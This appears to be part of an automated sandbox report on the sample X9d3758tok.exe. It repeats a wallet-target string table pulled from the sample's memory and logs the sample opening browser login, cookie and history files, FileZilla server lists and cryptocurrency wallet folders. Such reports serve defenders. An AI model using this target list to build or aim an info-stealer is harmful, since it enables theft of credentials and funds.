Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: X9d3758tok.exe, 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \ElectronCash\wallets\
Source: X9d3758tok.exe, 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: X9d3758tok.exe, 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Jaxx Liberty
Source: X9d3758tok.exe, 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: X9d3758tok.exe, 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: X9d3758tok.exe, 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: X9d3758tok.exe, 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: info.seco
Source: X9d3758tok.exe, 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: X9d3758tok.exe, 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: passphrase.json
Source: X9d3758tok.exe, 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: X9d3758tok.exe, 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: X9d3758tok.exe, 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: X9d3758tok.exe, 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: X9d3758tok.exe, 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: X9d3758tok.exe, 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: X9d3758tok.exe, 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: X9d3758tok.exe, 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: MultiDoge
Source: X9d3758tok.exe, 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: seed.seco
Source: X9d3758tok.exe, 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: X9d3758tok.exe, 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\X9d3758tok.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\X9d3758tok.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\X9d3758tok.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\X9d3758tok.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\X9d3758tok.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\X9d3758tok.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\X9d3758tok.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\X9d3758tok.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\X9d3758tok.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\X9d3758tok.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\X9d3758tok.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\X9d3758tok.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\X9d3758tok.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\X9d3758tok.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\X9d3758tok.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\X9d3758tok.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\X9d3758tok.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\X9d3758tok.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\X9d3758tok.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\X9d3758tok.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\X9d3758tok.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
